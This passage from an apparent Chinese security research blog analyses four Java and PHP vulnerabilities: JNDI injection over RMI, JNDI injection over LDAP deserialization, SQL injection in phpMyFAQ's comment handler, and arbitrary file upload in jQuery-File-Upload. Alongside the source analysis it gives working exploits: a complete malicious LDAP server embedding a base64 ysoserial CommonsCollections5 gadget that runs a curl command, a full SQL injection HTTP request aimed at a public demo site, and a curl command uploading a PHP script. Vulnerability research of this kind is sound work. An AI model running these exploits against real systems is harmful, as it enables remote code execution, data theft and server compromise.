Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);

}
}

再用nmap扫描, 就能够发现已经变为公网ip了。
-w479

References

https://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmiTOC.html

PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

概要

去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信PHP自带的FILTER_VALIDATE_EMAIL邮箱验证。
在使用了filter_var($email,FILTER_VALIDATE_EMAIL);
验证邮箱后, 没有进一步做处理 直接格式化字符串进了sql语句导致了注入。

FILTER_VALIDATE_EMAIL

本地调试版本: PHP5.4.5
首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。

https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PHP_FUNCTION(filter_var)
{
zend_long filter = FILTER_DEFAULT;
zval *filter_args = NULL, *data;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz", &data, &filter, &filter_args) == FAILURE) {
return;
}

if (!PHP_FILTER_ID_EXISTS(filter)) {
RETURN_FALSE;
}

ZVAL_DUP(return_value, data);

php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR);
}

php_filter_call里调用php_zval_filter,

1
2
3
4
5
static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args, const int copy, zend_long filter_flags) /* {{{ */
{ ...
php_zval_filter(filtered, filter, filter_flags, options, charset, copy);
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options, char* charset, zend_bool copy) /* {{{ */
{
filter_list_entry filter_func;

filter_func = php_find_filter(filter);

if (!filter_func.id) {
/* Find default filter */
filter_func = php_find_filter(FILTER_DEFAULT);
}

if (copy) {
SEPARATE_ZVAL(value);
}
......
convert_to_string(value);

filter_func.function(value, flags, options, charset);

根据id, 查找到filter_func, 然后调用指定的方法。
-w495

filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。

https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL)
{
const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD";

pcre *re = NULL;
pcre_extra *pcre_extra = NULL;
int preg_options = 0;
int ovector[150]; /* Needs to be a multiple of 3 */
int matches;


/* The maximum length of an e-mail address is 320 octets, per RFC 2821. */
if (Z_STRLEN_P(value) > 320) {
RETURN_VALIDATION_FAILED
}

re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC);
if (!re) {
RETURN_VALIDATION_FAILED
}
matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3);

/* 0 means that the vector is too small to hold all the captured substring offsets */
if (matches < 0) {
RETURN_VALIDATION_FAILED
}
}

去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。
不过看这正则可以发现,
如果email的local part不以双引号开头和结尾, 允许的字符为
\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E
如果以双引号开头和结尾, 允许的字符为
\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F
且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。

在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。
虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。

漏洞分析

(直接复制当初的邮件了~~~)

In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case 'savecomment':

if (!$faqConfig->get('records.allowCommentsForGuests') && !$user->perm->checkRight($user->getUserId(), 'addcomment')) {
$message = array('error' => $PMF_LANG['err_NotAuth']);
break;
}

$faq = new PMF_Faq($faqConfig);
$oComment = new PMF_Comment($faqConfig);
$category = new PMF_Category($faqConfig);
$type = PMF_Filter::filterInput(INPUT_POST, 'type', FILTER_SANITIZE_STRING);
$faqid = PMF_Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0);
$newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid', FILTER_VALIDATE_INT);
$username = PMF_Filter::filterInput(INPUT_POST, 'user', FILTER_SANITIZE_STRING);
$mail = PMF_Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL);
$comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text', FILTER_SANITIZE_SPECIAL_CHARS);

The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL filter cannot completely prevent SQL Injection. With this filter, single quotes and some special characters can still be used, that’s enough for SQL Injection.

1
2
3
4
5
6
7
8
9
$commentData = [ 
'record_id' => $id,
'type' => $type,
'username' => $username,
'usermail' => $mail,
'comment' => nl2br($comment),
'date' => $_SERVER['REQUEST_TIME'],
'helped' => '',
];

The mail variable is loaded into the commentData variable,

1
$oComment->addComment($commentData)

and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function addComment(Array $commentData)
{
$query = sprintf("
INSERT INTO
%sfaqcomments
VALUES
(%d, %d, '%s', '%s', '%s', '%s', %d,'%s')",
PMF_Db::getTablePrefix(), $this->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments','id_comment'),
$commentData['record_id'],
$commentData['type'],
$commentData['username'],
$commentData['usermail'],
$commentData['comment'],
$commentData['date'],
$commentData['helped']
);
if (!$this->config->getDb()->query($query)) {
return false;
}

return true;
}

test the phpMyFAQ demo.

Firstly, add a question and got the question id.
http://denholm.demo.phpmyfaq.de/index.php?sid=620&lang=zh&action=add&cat=2

Secondly ,

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ajaxservice.php?action=savecomment HTTP/1.1 
Host: denholm.demo.phpmyfaq.de
Proxy-Connection: keep-alive
Content-Length: 135
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4

id=5&lang=zh&type=faq&user=xiaoyu111&mail=xiaoyu1~'/*11~%40qq.com&comment_text=*/,(select user()),1500351093,null)#&captcha=OMSNS9

-w878

References

1.https://tools.ietf.org/html/rfc3696#section-3

JNDI-Injection-Via-LDAP-Deserialize

前言

前段时间FastJson的利用,最后使用了JNDI注入的方式 使得利用条件变得简单。
从一开始的RMI到LDAP, 都是把一个Reference对象绑定到N/D服务上, 最终实例化CodeBase远程代码库的类实现RCE。
但是这种方法在高版本jdk中已经不再能够使用, 由于TrustURLCodeBase的限制, 不再能够加载远程的代码库。
最近看几年前的BlackHat JNDI PPT时, 发现提到了除了Reference的另外几种方法。 不过没搜到EXP, 就自己看了下。

-w1099

Reference的利用

N/D为LDAP

N/D服务返回Reference对象后, 服务端这边decodeReference后
尝试加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// 尝试在本地加载类。
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}

// 如果从本地加载类失败, 从远程代码库中获取。
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

jdk1.7.0_80的 loadClass(String className, String codebase)

1
2
3
4
5
6
7
8
9
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

直接使用URLClassLoader从远程动态加载字节码, 然后返回。

1
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

然后实例化从远程获取到的类, 触发类的构造方法, 实现RCE。

-w1439


jdk 1.8.0_191 的loadClass(String className, String codebase)

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

如果trustURLCodebase为false的话, 直接返回null, 不再从远程代码库中动态加载字节码。

-w938

并且trustURLCodebase已经默认为false, 所以不能够再使用这种方法。

LDAP 反序列

-w395
在decodeObject N/D返回的对象时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 感觉idea decompile出来的变量有点错, var1 var2有点混了。
static Object decodeObject(Attributes var0) throws NamingException {

String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); // 获取ldap设置的codebase属性值, 这里为null
try {
Attribute var1;

// 如果var0中有JAVA_ATTRIBUTES[1], 则会进行deserializeObject, 并且获取javaSerializedData属性值赋给1
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2); // 这个var2应该是var1。
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
1
2
3
4
ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
ClassLoader var2 = this.getContextClassLoader();
return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
}

如果trustURLCodebase为false的话, 不从远程代码库动态加载字节码, 而是直接返回从javaSerializedData属性中获取的属性值。 所以使用反序列不受trustURLCodebase的影响。

1
2
3
4
5
6
7
8
9
10
11
12
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;

Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject(); // 反序列操作

所以在启动ldap service的时候 只要设置了这个属性, 就可以进行反序列操作。

LDAPServer.java 是从marshalling.jar里扣出来的,稍微改了下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ReadOnlySearchRequest;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import java.io.ObjectOutputStream;
import java.io.PrintStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;


public class LDAPServer
{
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] agv)
{
int port = 1389;

String args[] = {"http://localhost:8000/#Exploit"};

if ((args.length < 1) || (args[0].indexOf('#') < 0))
{
System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]");
System.exit(-1);
}
else if (args.length > 1)
{
port = Integer.parseInt(args[1]);
}
try
{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
config.setListenerConfigs(new InMemoryListenerConfig[] { new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()) });

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e)
{
e.printStackTrace();
}
}

private static class OperationInterceptor
extends InMemoryOperationInterceptor
{
private URL codebase;

public OperationInterceptor(URL cb)
{
this.codebase = cb;
}

public void processSearchResult(InMemoryInterceptedSearchResult result)
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try
{
sendResult(result, base, e);
}
catch (Exception e1)
{
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException
{
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

try {
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHmN1cmwgaHR0cDovL2xvY2FsaG9zdDo4MDAwL2FhYXQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg="));

} catch (ParseException e1) {
e1.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

启动LDAP Service需要的jar包。
pom.xml

        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.8</version>
            <scope>compile</scope>
        </dependency>

base64是直接使用ysoserial随便选择的一个gadget生成的。

FastJson JDK8u191测试:
3D0F294B-BF28-4752-AB61-AFFCD92834F0

场景

其实用LDAP来反序列的意义也没有太大, 毕竟JNDI注入很多时候也都是依靠反序列来实现控制传入的uri。
大概利用场景也就
1:FastJson, 毕竟FastJson实例化类后默认只能调用属性的getter/setter方法, 高版本jdk FastJson<=1.2.4用JNDI来反序列也是一种不错的选择。
2:非反序列的JNDI注入。
3:反序列的时候有黑名单,常见的gadget用不了, 能用jndi的gadget。

References

1.https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
2.https://github.com/mbechler/marshalsec

jQuery-File-Upload-arbitrarily-file-upload-Vuln

-w914

在这看到的, 看到这个的时候有点疑惑这玩意不应该就是个前端的上传么, 怎么还会造成任意文件上传漏洞。 就去下了个源码看了下。

漏洞复现

https://github.com/blueimp/jQuery-File-Upload/releases/tag/v9.22.0

下载了代码后, 发现原来也带了后端处理上传的脚本。在server目录下。

在server/index.php中

1
2
require('UploadHandler.php');
$upload_handler = new UploadHandler();

实例化了UploadHandler类。
在UploadHandler的构造方法中

构造方法中, 定义了一些配置信息。
然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __construct($options = null, $initialize = true, $error_messages = null) {
$this->response = array();
$this->options = array(
'script_url' => $this->get_full_url().'/'.$this->basename($this->get_server_var('SCRIPT_NAME')),
'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
'upload_url' => $this->get_full_url().'/files/',
'input_stream' => 'php://input',
'user_dirs' => false,
'mkdir_mode' => 0755,
'param_name' => 'files',
.................
.................
if ($initialize) {
$this->initialize();
}

然后就调用了类中的initialize方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function initialize() {
switch ($this->get_server_var('REQUEST_METHOD')) {
case 'OPTIONS':
case 'HEAD':
$this->head();
break;
case 'GET':
$this->get($this->options['print_response']);
break;
case 'PATCH':
case 'PUT':
case 'POST':
$this->post($this->options['print_response']);
break;
case 'DELETE':
$this->delete($this->options['print_response']);
break;
default:
$this->header('HTTP/1.1 405 Method Not Allowed');
}

根据对应的请求方式调用不同的方法。
大概get对应的是下载, post对应的是上传, delete对应的是删除操作。
但是在get和delete方法中, 由于都经过了basename方法的处理
所以只能删除files目录下的文件。

在post方法中

1
2
3
4
5
6
7
8
9
10
11
12
$files[] = $this->handle_file_upload(
isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
$file_name ? $file_name : (isset($upload['name']) ?
$upload['name'] : null),
$size ? $size : (isset($upload['size']) ?
$upload['size'] : $this->get_server_var('CONTENT_LENGTH')),
isset($upload['type']) ?
$upload['type'] : $this->get_server_var('CONTENT_TYPE'),
isset($upload['error']) ? $upload['error'] : null,
null,
$content_range
);

获取到FILES变量中的数据后, 直接就调用了handle_file_upload方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new \stdClass();
$file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
$index, $content_range);
$file->size = $this->fix_integer_overflow((int)$size);
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}

在handle_file_upload方法中, 只要通过了validate方法, 那么就直接执行move_upload_file了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function validate($uploaded_file, $file, $error, $index) {
if ($error) {
$file->error = $this->get_error_message($error);
return false;
}
$content_length = $this->fix_integer_overflow(
(int)$this->get_server_var('CONTENT_LENGTH')
);
$post_max_size = $this->get_config_bytes(ini_get('post_max_size'));
if ($post_max_size && ($content_length > $post_max_size)) {
$file->error = $this->get_error_message('post_max_size');
return false;
}
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}

这里通过或者配置变量数组中的accept_file_types来正则验证上传的文件名,
‘accept_file_types’ => ‘/.+$/i’,
配置文件中的accept_file_types为.+,
.代表着匹配任意字符 +1到多个字符, 所以是根本没有验证后缀的。
造成了任意文件上传。

1
2
$ curl -F "files=@yu.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php
{"files":[{"name":"yu.php","size":20,"type":"application\/octet-stream","url":"http:\/\/localhost\/jQuery-File-Upload-9.22.0\/server\/php\/files\/yu.php","deleteUrl":"http:\/\/localhost\/jQuery-File-Upload-9.22.0\/server\/php\/index.php?file=yu.php","deleteType":"DELETE"}]}

就能直接上传成功了,上传到了files目录中。 但是访问后发现脚本没有执行。
在files目录下 有着一个.htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# To enable the Headers module, execute the following command and reload Apache:
# sudo a2enmod headers

# The following directives prevent the execution of script files
# in the context of the website.
# They also force the content-type application/octet-stream and
# force browsers to display a download dialog for non-image files.
SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment

# The following unsets the forced type and Content-Disposition headers
# for known image files:
<FilesMatch "(?i)\.(gif|jpe?g|png)$">
ForceType none
Header unset Content-Disposition
</FilesMatch>

# The following directive prevents browsers from MIME-sniffing the content-type.
# This is an important complement to the ForceType directive above:
Header set X-Content-Type-Options nosniff

# Uncomment the following lines to prevent unauthorized download of files:
#AuthName "Authorization required"
#AuthType Basic
#require valid-user

The directives ForceType and SetHandler are used to associated all the files in a given location (e.g., a particular directory) onto a particular MIME type or handler.

.htaccess配置了 在files目录下 强制由default-handler来处理所有文件m, 并且强制mime type为application/octet-stream, 使files目录下的脚本不会被执行。开发者也是因为配置了.htaccess的情况下, 以为是绝对的安全了, 所以才没有进行验证后缀。

这里虽然配置了.htaccess 但仍然有两个安全隐患
1: .htaccess只对apache有效, 而在纯nginx(非反向代理)中是无效的, 在jquery-upload的readme中 好像也并没有看到有说明使用nginx时的安全隐患。

-w630

2: 在apache 2.3.9以后, allowoverride默认为none

https://httpd.apache.org/docs/current/mod/core.html#allowoverride

AllowOverride Directive
Description: Types of directives that are allowed in .htaccess files
Syntax: AllowOverride All|None|directive-type [directive-type] …
Default: AllowOverride None (2.3.9 and later), AllowOverride All (2.3.8 and earlier)
Context: directory
Status: Core
Module: core

可以看到很清楚的说明了, 在apache 2.3.9及以后版本 allowoverride默认为none,
